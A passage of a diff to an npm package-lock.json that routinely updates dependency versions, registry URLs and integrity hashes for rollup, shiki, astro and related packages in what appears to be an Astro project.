+      "integrity": "sha512-Fxamp4aEZnfPOcGA8KSNEohV8hX7zVHOemC8jVBoBUHu5zpJK/Eu3uJwt6BMgy9fkvzxDaurgj96F/NiLukF2w==",
       "cpu": [
         "arm"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "android"
       ]
     },
     "node_modules/@rollup/rollup-android-arm64": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.21.1.tgz",
-      "integrity": "sha512-t1lLYn4V9WgnIFHXy1d2Di/7gyzBWS8G5pQSXdZqfrdCGTwi1VasRMSS81DTYb+avDs/Zz4A6dzERki5oRYz1g==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-android-arm64/-/rollup-android-arm64-4.22.4.tgz",
+      "integrity": "sha512-VXoK5UMrgECLYaMuGuVTOx5kcuap1Jm8g/M83RnCHBKOqvPPmROFJGQaZhGccnsFtfXQ3XYa4/jMCJvZnbJBdA==",
       "cpu": [
         "arm64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "android"
       ]
     },
     "node_modules/@rollup/rollup-darwin-arm64": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.21.1.tgz",
-      "integrity": "sha512-AH/wNWSEEHvs6t4iJ3RANxW5ZCK3fUnmf0gyMxWCesY1AlUj8jY7GC+rQE4wd3gwmZ9XDOpL0kcFnCjtN7FXlA==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-arm64/-/rollup-darwin-arm64-4.22.4.tgz",
+      "integrity": "sha512-xMM9ORBqu81jyMKCDP+SZDhnX2QEVQzTcC6G18KlTQEzWK8r/oNZtKuZaCcHhnsa6fEeOBionoyl5JsAbE/36Q==",
       "cpu": [
         "arm64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "darwin"
       ]
     },
     "node_modules/@rollup/rollup-darwin-x64": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.21.1.tgz",
-      "integrity": "sha512-dO0BIz/+5ZdkLZrVgQrDdW7m2RkrLwYTh2YMFG9IpBtlC1x1NPNSXkfczhZieOlOLEqgXOFH3wYHB7PmBtf+Bg==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-darwin-x64/-/rollup-darwin-x64-4.22.4.tgz",
+      "integrity": "sha512-aJJyYKQwbHuhTUrjWjxEvGnNNBCnmpHDvrb8JFDbeSH3m2XdHcxDd3jthAzvmoI8w/kSjd2y0udT+4okADsZIw==",
       "cpu": [
         "x64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "darwin"
       ]
     },
     "node_modules/@rollup/rollup-linux-arm-gnueabihf": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.21.1.tgz",
-      "integrity": "sha512-sWWgdQ1fq+XKrlda8PsMCfut8caFwZBmhYeoehJ05FdI0YZXk6ZyUjWLrIgbR/VgiGycrFKMMgp7eJ69HOF2pQ==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-gnueabihf/-/rollup-linux-arm-gnueabihf-4.22.4.tgz",
+      "integrity": "sha512-j63YtCIRAzbO+gC2L9dWXRh5BFetsv0j0va0Wi9epXDgU/XUi5dJKo4USTttVyK7fGw2nPWK0PbAvyliz50SCQ==",
       "cpu": [
         "arm"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-arm-musleabihf": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.21.1.tgz",
-      "integrity": "sha512-9OIiSuj5EsYQlmwhmFRA0LRO0dRRjdCVZA3hnmZe1rEwRk11Jy3ECGGq3a7RrVEZ0/pCsYWx8jG3IvcrJ6RCew==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm-musleabihf/-/rollup-linux-arm-musleabihf-4.22.4.tgz",
+      "integrity": "sha512-dJnWUgwWBX1YBRsuKKMOlXCzh2Wu1mlHzv20TpqEsfdZLb3WoJW2kIEsGwLkroYf24IrPAvOT/ZQ2OYMV6vlrg==",
       "cpu": [
         "arm"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-arm64-gnu": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.21.1.tgz",
-      "integrity": "sha512-0kuAkRK4MeIUbzQYu63NrJmfoUVicajoRAL1bpwdYIYRcs57iyIV9NLcuyDyDXE2GiZCL4uhKSYAnyWpjZkWow==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-gnu/-/rollup-linux-arm64-gnu-4.22.4.tgz",
+      "integrity": "sha512-AdPRoNi3NKVLolCN/Sp4F4N1d98c4SBnHMKoLuiG6RXgoZ4sllseuGioszumnPGmPM2O7qaAX/IJdeDU8f26Aw==",
       "cpu": [
         "arm64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-arm64-musl": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.21.1.tgz",
-      "integrity": "sha512-/6dYC9fZtfEY0vozpc5bx1RP4VrtEOhNQGb0HwvYNwXD1BBbwQ5cKIbUVVU7G2d5WRE90NfB922elN8ASXAJEA==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-arm64-musl/-/rollup-linux-arm64-musl-4.22.4.tgz",
+      "integrity": "sha512-Gl0AxBtDg8uoAn5CCqQDMqAx22Wx22pjDOjBdmG0VIWX3qUBHzYmOKh8KXHL4UpogfJ14G4wk16EQogF+v8hmA==",
       "cpu": [
         "arm64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-powerpc64le-gnu": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.21.1.tgz",
-      "integrity": "sha512-ltUWy+sHeAh3YZ91NUsV4Xg3uBXAlscQe8ZOXRCVAKLsivGuJsrkawYPUEyCV3DYa9urgJugMLn8Z3Z/6CeyRQ==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-powerpc64le-gnu/-/rollup-linux-powerpc64le-gnu-4.22.4.tgz",
+      "integrity": "sha512-3aVCK9xfWW1oGQpTsYJJPF6bfpWfhbRnhdlyhak2ZiyFLDaayz0EP5j9V1RVLAAxlmWKTDfS9wyRyY3hvhPoOg==",
       "cpu": [
         "ppc64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-riscv64-gnu": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.21.1.tgz",
-      "integrity": "sha512-BggMndzI7Tlv4/abrgLwa/dxNEMn2gC61DCLrTzw8LkpSKel4o+O+gtjbnkevZ18SKkeN3ihRGPuBxjaetWzWg==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-riscv64-gnu/-/rollup-linux-riscv64-gnu-4.22.4.tgz",
+      "integrity": "sha512-ePYIir6VYnhgv2C5Xe9u+ico4t8sZWXschR6fMgoPUK31yQu7hTEJb7bCqivHECwIClJfKgE7zYsh1qTP3WHUA==",
       "cpu": [
         "riscv64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-s390x-gnu": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.21.1.tgz",
-      "integrity": "sha512-z/9rtlGd/OMv+gb1mNSjElasMf9yXusAxnRDrBaYB+eS1shFm6/4/xDH1SAISO5729fFKUkJ88TkGPRUh8WSAA==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-s390x-gnu/-/rollup-linux-s390x-gnu-4.22.4.tgz",
+      "integrity": "sha512-GqFJ9wLlbB9daxhVlrTe61vJtEY99/xB3C8e4ULVsVfflcpmR6c8UZXjtkMA6FhNONhj2eA5Tk9uAVw5orEs4Q==",
       "cpu": [
         "s390x"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-x64-gnu": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.21.1.tgz",
-      "integrity": "sha512-kXQVcWqDcDKw0S2E0TmhlTLlUgAmMVqPrJZR+KpH/1ZaZhLSl23GZpQVmawBQGVhyP5WXIsIQ/zqbDBBYmxm5w==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-gnu/-/rollup-linux-x64-gnu-4.22.4.tgz",
+      "integrity": "sha512-87v0ol2sH9GE3cLQLNEy0K/R0pz1nvg76o8M5nhMR0+Q+BBGLnb35P0fVz4CQxHYXaAOhE8HhlkaZfsdUOlHwg==",
       "cpu": [
         "x64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-linux-x64-musl": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.21.1.tgz",
-      "integrity": "sha512-CbFv/WMQsSdl+bpX6rVbzR4kAjSSBuDgCqb1l4J68UYsQNalz5wOqLGYj4ZI0thGpyX5kc+LLZ9CL+kpqDovZA==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-linux-x64-musl/-/rollup-linux-x64-musl-4.22.4.tgz",
+      "integrity": "sha512-UV6FZMUgePDZrFjrNGIWzDo/vABebuXBhJEqrHxrGiU6HikPy0Z3LfdtciIttEUQfuDdCn8fqh7wiFJjCNwO+g==",
       "cpu": [
         "x64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "linux"
       ]
     },
     "node_modules/@rollup/rollup-win32-arm64-msvc": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.21.1.tgz",
-      "integrity": "sha512-3Q3brDgA86gHXWHklrwdREKIrIbxC0ZgU8lwpj0eEKGBQH+31uPqr0P2v11pn0tSIxHvcdOWxa4j+YvLNx1i6g==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-arm64-msvc/-/rollup-win32-arm64-msvc-4.22.4.tgz",
+      "integrity": "sha512-BjI+NVVEGAXjGWYHz/vv0pBqfGoUH0IGZ0cICTn7kB9PyjrATSkX+8WkguNjWoj2qSr1im/+tTGRaY+4/PdcQw==",
       "cpu": [
         "arm64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "win32"
       ]
     },
     "node_modules/@rollup/rollup-win32-ia32-msvc": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.21.1.tgz",
-      "integrity": "sha512-tNg+jJcKR3Uwe4L0/wY3Ro0H+u3nrb04+tcq1GSYzBEmKLeOQF2emk1whxlzNqb6MMrQ2JOcQEpuuiPLyRcSIw==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-ia32-msvc/-/rollup-win32-ia32-msvc-4.22.4.tgz",
+      "integrity": "sha512-SiWG/1TuUdPvYmzmYnmd3IEifzR61Tragkbx9D3+R8mzQqDBz8v+BvZNDlkiTtI9T15KYZhP0ehn3Dld4n9J5g==",
       "cpu": [
         "ia32"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "win32"
       ]
     },
     "node_modules/@rollup/rollup-win32-x64-msvc": {
-      "version": "4.21.1",
-      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.21.1.tgz",
-      "integrity": "sha512-xGiIH95H1zU7naUyTKEyOA/I0aexNMUdO9qRv0bLKN3qu25bBdrxZHqA3PTJ24YNN/GdMzG4xkDcd/GvjuhfLg==",
+      "version": "4.22.4",
+      "resolved": "https://registry.npmjs.org/@rollup/rollup-win32-x64-msvc/-/rollup-win32-x64-msvc-4.22.4.tgz",
+      "integrity": "sha512-j8pPKp53/lq9lMXN57S8cFz0MynJk8OWNuUnXct/9KCpKU7DgU3bYMJhwWmcqC0UU29p8Lr0/7KEVcaM6bf47Q==",
       "cpu": [
         "x64"
       ],
-      "license": "MIT",
       "optional": true,
       "os": [
         "win32"
       ]
     },
     "node_modules/@shikijs/core": {
-      "version": "1.16.1",
-      "resolved": "https://registry.npmjs.org/@shikijs/core/-/core-1.16.1.tgz",
-      "integrity": "sha512-aI0hBtw+a6KsJp2jcD4YuQqKpeCbURMZbhHVozDknJpm+KJqeMRkEnfBC8BaKE/5XC+uofPgCLsa/TkTk0Ba0w==",
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@shikijs/core/-/core-1.22.2.tgz",
+      "integrity": "sha512-bvIQcd8BEeR1yFvOYv6HDiyta2FFVePbzeowf5pPS1avczrPK+cjmaxxh0nx5QzbON7+Sv0sQfQVciO7bN72sg==",
+      "license": "MIT",
+      "dependencies": {
+        "@shikijs/engine-javascript": "1.22.2",
+        "@shikijs/engine-oniguruma": "1.22.2",
+        "@shikijs/types": "1.22.2",
+        "@shikijs/vscode-textmate": "^9.3.0",
+        "@types/hast": "^3.0.4",
+        "hast-util-to-html": "^9.0.3"
+      }
+    },
+    "node_modules/@shikijs/engine-javascript": {
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@shikijs/engine-javascript/-/engine-javascript-1.22.2.tgz",
+      "integrity": "sha512-iOvql09ql6m+3d1vtvP8fLCVCK7BQD1pJFmHIECsujB0V32BJ0Ab6hxk1ewVSMFA58FI0pR2Had9BKZdyQrxTw==",
       "license": "MIT",
       "dependencies": {
-        "@shikijs/vscode-textmate": "^9.2.0",
+        "@shikijs/types": "1.22.2",
+        "@shikijs/vscode-textmate": "^9.3.0",
+        "oniguruma-to-js": "0.4.3"
+      }
+    },
+    "node_modules/@shikijs/engine-oniguruma": {
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@shikijs/engine-oniguruma/-/engine-oniguruma-1.22.2.tgz",
+      "integrity": "sha512-GIZPAGzQOy56mGvWMoZRPggn0dTlBf1gutV5TdceLCZlFNqWmuc7u+CzD0Gd9vQUTgLbrt0KLzz6FNprqYAxlA==",
+      "license": "MIT",
+      "dependencies": {
+        "@shikijs/types": "1.22.2",
+        "@shikijs/vscode-textmate": "^9.3.0"
+      }
+    },
+    "node_modules/@shikijs/types": {
+      "version": "1.22.2",
+      "resolved": "https://registry.npmjs.org/@shikijs/types/-/types-1.22.2.tgz",
+      "integrity": "sha512-NCWDa6LGZqTuzjsGfXOBWfjS/fDIbDdmVDug+7ykVe1IKT4c1gakrvlfFYp5NhAXH/lyqLM8wsAPo5wNy73Feg==",
+      "license": "MIT",
+      "dependencies": {
+        "@shikijs/vscode-textmate": "^9.3.0",
         "@types/hast": "^3.0.4"
       }
     },
     "node_modules/@shikijs/vscode-textmate": {
-      "version": "9.2.0",
-      "resolved": "https://registry.npmjs.org/@shikijs/vscode-textmate/-/vscode-textmate-9.2.0.tgz",
-      "integrity": "sha512-5FinaOp6Vdh/dl4/yaOTh0ZeKch+rYS8DUb38V3GMKYVkdqzxw53lViRKUYkVILRiVQT7dcPC7VvAKOR73zVtQ==",
+      "version": "9.3.0",
+      "resolved": "https://registry.npmjs.org/@shikijs/vscode-textmate/-/vscode-textmate-9.3.0.tgz",
+      "integrity": "sha512-jn7/7ky30idSkd/O5yDBfAnVt+JJpepofP/POZ1iMOxK59cOfqIgg/Dj0eFsjOTMw+4ycJN0uhZH/Eb0bs/EUA==",
       "license": "MIT"
     },
     "node_modules/@types/babel__core": {
@@ -1766,9 +1787,9 @@
       }
     },
     "node_modules/acorn": {
-      "version": "8.12.1",
-      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.12.1.tgz",
-      "integrity": "sha512-tcpGyI9zbizT9JbV6oYE477V6mTlXvvi0T0G3SNIYE2apm/G5huBa1+K89VGeovbg+jycCrfhl3ADxErOuO6Jg==",
+      "version": "8.14.0",
+      "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.14.0.tgz",
+      "integrity": "sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==",
       "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
@@ -1839,18 +1860,6 @@
         "url": "https://github.com/chalk/ansi-regex?sponsor=1"
       }
     },
-    "node_modules/ansi-styles": {
-      "version": "3.2.1",
-      "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
-      "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
-      "license": "MIT",
-      "dependencies": {
-        "color-convert": "^1.9.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/argparse": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
@@ -1858,12 +1867,12 @@
       "license": "Python-2.0"
     },
     "node_modules/aria-query": {
-      "version": "5.3.0",
-      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.0.tgz",
-      "integrity": "sha512-b0P0sZPKtyu8HkeRAfCq0IfURZK+SuwMjY1UXGBU27wpAiTwQAIlq56IbIO+ytk/JjS1fMR14ee5WBBfKi5J6A==",
+      "version": "5.3.2",
+      "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz",
+      "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==",
       "license": "Apache-2.0",
-      "dependencies": {
-        "dequal": "^2.0.3"
+      "engines": {
+        "node": ">= 0.4"
       }
     },
     "node_modules/array-iterate": {
@@ -1877,42 +1886,41 @@
       }
     },
     "node_modules/astro": {
-      "version": "4.15.2",
-      "resolved": "https://registry.npmjs.org/astro/-/astro-4.15.2.tgz",
-      "integrity": "sha512-UlkQ/cWRLabOm6eVe6oRwjVAKd47N3+d1ktKpEZ5lqQKwq5uYrXQUu3n0ftsm6SJ+01x2LlPmjRe9OfKAbGpXA==",
+      "version": "4.16.13",
+      "resolved": "https://registry.npmjs.org/astro/-/astro-4.16.13.tgz",
+      "integrity": "sha512-Mtd76+BC0zLWqoXpf9xc731AhdH4MNh5JFHYdLRvSH0Nqn48hA64dPGh/cWsJvh/DZFmC0NTZusM1Qq2gyNaVg==",
       "license": "MIT",
       "dependencies": {
         "@astrojs/compiler": "^2.10.3",
         "@astrojs/internal-helpers": "0.4.1",
-        "@astrojs/markdown-remark": "5.2.0",
+        "@astrojs/markdown-remark": "5.3.0",
         "@astrojs/telemetry": "3.1.0",
-        "@babel/core": "^7.25.2",
-        "@babel/plugin-transform-react-jsx": "^7.25.2",
-        "@babel/types": "^7.25.6",
-        "@oslojs/encoding": "^0.4.1",
-        "@rollup/pluginutils": "^5.1.0",
+        "@babel/core": "^7.26.0",
+        "@babel/plugin-transform-react-jsx": "^7.25.9",
+        "@babel/types": "^7.26.0",
+        "@oslojs/encoding": "^1.1.0",
+        "@rollup/pluginutils": "^5.1.3",
         "@types/babel__core": "^7.20.5",
         "@types/cookie": "^0.6.0",
-        "acorn": "^8.12.1",
-        "aria-query": "^5.3.0",
+        "acorn": "^8.14.0",
+        "aria-query": "^5.3.2",
         "axobject-query": "^4.1.0",
-        "boxen": "7.1.1",
+        "boxen": "8.0.1",
         "ci-info": "^4.0.0",
         "clsx": "^2.1.1",
         "common-ancestor-path": "^1.0.1",
-        "cookie": "^0.6.0",
+        "cookie": "^0.7.2",
         "cssesc": "^3.0.0",
-        "debug": "^4.3.6",
+        "debug": "^4.3.7",
         "deterministic-object-hash": "^2.0.2",
-        "devalue": "^5.0.0",
+        "devalue": "^5.1.1",
         "diff": "^5.2.0",
         "dlv": "^1.1.3",
-        "dset": "^3.1.3",
+        "dset": "^3.1.4",
         "es-module-lexer": "^1.5.4",
         "esbuild": "^0.21.5",
         "estree-walker": "^3.0.3",
         "fast-glob": "^3.3.2",
-        "fastq": "^1.17.1",
         "flattie": "^1.1.1",
         "github-slugger": "^2.0.0",
         "gray-matter": "^4.0.3",
@@ -1920,33 +1928,30 @@
         "http-cache-semantics": "^4.1.1",
         "js-yaml": "^4.1.0",
         "kleur": "^4.1.5",
-        "magic-string": "^0.30.11",
+        "magic-string": "^0.30.12",
         "magicast": "^0.3.5",
         "micromatch": "^4.0.8",
         "mrmime": "^2.0.0",
         "neotraverse": "^0.6.18",
-        "ora": "^8.1.0",
+        "ora": "^8.1.1",
         "p-limit": "^6.1.0",
         "p-queue": "^8.0.1",
-        "path-to-regexp": "^6.2.2",
         "preferred-pm": "^4.0.0",
         "prompts": "^2.4.2",
-        "rehype": "^13.0.1",
+        "rehype": "^13.0.2",
         "semver": "^7.6.3",
-        "shiki": "^1.16.1",
-        "string-width": "^7.2.0",
-        "strip-ansi": "^7.1.0",
-        "tinyexec": "^0.3.0",
-        "tsconfck": "^3.1.3",
+        "shiki": "^1.22.2",
+        "tinyexec": "^0.3.1",
+        "tsconfck": "^3.1.4",
         "unist-util-visit": "^5.0.0",
         "vfile": "^6.0.3",
-        "vite": "^5.4.2",
-        "vitefu": "^0.2.5",
+        "vite": "^5.4.10",
+        "vitefu": "^1.0.3",
         "which-pm": "^3.0.0",
         "xxhash-wasm": "^1.0.2",
         "yargs-parser": "^21.1.1",
         "zod": "^3.23.8",
-        "zod-to-json-schema": "^3.23.2",
+        "zod-to-json-schema": "^3.23.5",
         "zod-to-ts": "^1.2.0"
       },
       "bin": {
@@ -1961,18 +1966,6 @@
         "sharp": "^0.33.3"
       }
     },
-    "node_modules/astro/node_modules/semver": {
-      "version": "7.6.3",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.3.tgz",
-      "integrity": "sha512-oVekP1cKtI+CTDvHWYFUcMtsK/00wmAEfyqKfNdARm8u1wNVhSgaX7A8d4UuIlUI5e84iEwOhs7ZPYRmzU9U6A==",
-      "license": "ISC",
-      "bin": {
-        "semver": "bin/semver.js"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/axobject-query": {
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz",
@@ -1999,22 +1992,22 @@
       "license": "MIT"
     },
     "node_modules/boxen": {
-      "version": "7.1.1",
-      "resolved": "https://registry.npmjs.org/boxen/-/boxen-7.1.1.tgz",
-      "integrity": "sha512-2hCgjEmP8YLWQ130n2FerGv7rYpfBmnmp9Uy2Le1vge6X3gZIfSmEzP5QTDElFxcvVcXlEn8Aq6MU/PZygIOog==",
+      "version": "8.0.1",
+      "resolved": "https://registry.npmjs.org/boxen/-/boxen-8.0.1.tgz",
+      "integrity": "sha512-F3PH5k5juxom4xktynS7MoFY+NUWH5LC4CnH11YB8NPew+HLpmBLCybSAEyb2F+4pRXhuhWqFesoQd6DAyc2hw==",
       "license": "MIT",
       "dependencies": {
         "ansi-align": "^3.0.1",
-        "camelcase": "^7.0.1",
-        "chalk": "^5.2.0",
+        "camelcase": "^8.0.0",
+        "chalk": "^5.3.0",
         "cli-boxes": "^3.0.0",
-        "string-width": "^5.1.2",
-        "type-fest": "^2.13.0",
-        "widest-line": "^4.0.1",
-        "wrap-ansi": "^8.1.0"
+        "string-width": "^7.2.0",
+        "type-fest": "^4.21.0",
+        "widest-line": "^5.0.0",
+        "wrap-ansi": "^9.0.0"
       },
       "engines": {
-        "node": ">=14.16"
+        "node": ">=18"
       },
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
@@ -2032,29 +2025,6 @@
         "url": "https://github.com/chalk/chalk?sponsor=1"
       }
     },
-    "node_modules/boxen/node_modules/emoji-regex": {
-      "version": "9.2.2",
-      "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
-      "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
-      "license": "MIT"
-    },
-    "node_modules/boxen/node_modules/string-width": {
-      "version": "5.1.2",
-      "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
-      "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
-      "license": "MIT",
-      "dependencies": {
-        "eastasianwidth": "^0.2.0",
-        "emoji-regex": "^9.2.2",
-        "strip-ansi": "^7.0.1"
-      },
-      "engines": {
-        "node": ">=12"
-      },
-      "funding": {
-        "url": "https://github.com/sponsors/sindresorhus"
-      }
-    },
     "node_modules/braces": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
@@ -2068,9 +2038,9 @@
       }
     },
     "node_modules/browserslist": {
-      "version": "4.23.2",
-      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.2.tgz",
-      "integrity": "sha512-qkqSyistMYdxAcw+CzbZwlBy8AGmS/eEWs+sEV5TnLRGDOL+C5M2EnH6tlZyg0YoAxGJAFKh61En9BR941GnHA==",
+      "version": "4.24.2",
+      "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.24.2.tgz",
+      "integrity": "sha512-ZIc+Q62revdMcqC6aChtW4jz3My3klmCO1fEmINZY/8J3EpBg5/A/D0AKmBveUh6pgoeycoMkVMko84tuYS+Gg==",
       "funding": [
         {
           "type": "opencollective",
@@ -2087,10 +2057,10 @@
       ],
       "license": "MIT",
       "dependencies": {
-        "caniuse-lite": "^1.0.30001640",
-        "electron-to-chromium": "^1.4.820",
-        "node-releases": "^2.0.14",
-        "update-browserslist-db": "^1.1.0"
+        "caniuse-lite": "^1.0.30001669",
+        "electron-to-chromium": "^1.5.41",
+        "node-releases": "^2.0.18",
+        "update-browserslist-db": "^1.1.1"
       },
       "bin": {
         "browserslist": "cli.js"
@@ -2100,21 +2070,21 @@
       }
     },
     "node_modules/camelcase": {
-      "version": "7.0.1",
-      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-7.0.1.tgz",
-      "integrity": "sha512-xlx1yCK2Oc1APsPXDL2LdlNP6+uu8OCDdhOBSVT279M/S+y75O30C2VuD8T2ogdePBBl7PfPF4504tnLgX3zfw==",
+      "version": "8.0.0",
+      "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-8.0.0.tgz",
+      "integrity": "sha512-8WB3Jcas3swSvjIeA2yvCJ+Miyz5l1ZmB6HFb9R1317dt9LCQoswg/BGrmAmkWVEszSrrg4RwmO46qIm2OEnSA==",
       "license": "MIT",
       "engines": {
-        "node": ">=14.16"
+        "node": ">=16"
       },
       "funding": {
         "url": "https://github.com/sponsors/sindresorhus"
       }
     },
     "node_modules/caniuse-lite": {
-      "version": "1.0.30001646",
-      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001646.tgz",
-      "integrity": "sha512-dRg00gudiBDDTmUhClSdv3hqRfpbOnU28IpI1T6PBTLWa+kOj0681C8uML3PifYfREuBrVjDGhL3adYpBT6spw==",
+      "version": "1.0.30001676",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001676.tgz",
+      "integrity": "sha512-Qz6zwGCiPghQXGJvgQAem79esjitvJ+CxSbSQkW9H/UX5hg8XM88d4lp2W+MEQ81j+Hip58Il+jGVdazk1z9cw==",
       "funding": [
         {
           "type": "opencollective",
@@ -2141,20 +2111,6 @@
         "url": "https://github.com/sponsors/wooorm"
       }
     },
-    "node_modules/chalk": {
-      "version": "2.4.2",
-      "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
-      "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
-      "license": "MIT",
-      "dependencies": {
-        "ansi-styles": "^3.2.1",
-        "escape-string-regexp": "^1.0.5",
-        "supports-color": "^5.3.0"
-      },
-      "engines": {
-        "node": ">=4"
-      }
-    },
     "node_modules/character-entities": {
       "version": "2.0.2",
       "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz",
@@ -2262,20 +2218,12 @@
         "node": ">=12.5.0"
       }
     },
-    "node_modules/color-convert": {
-      "version": "1.9.3",
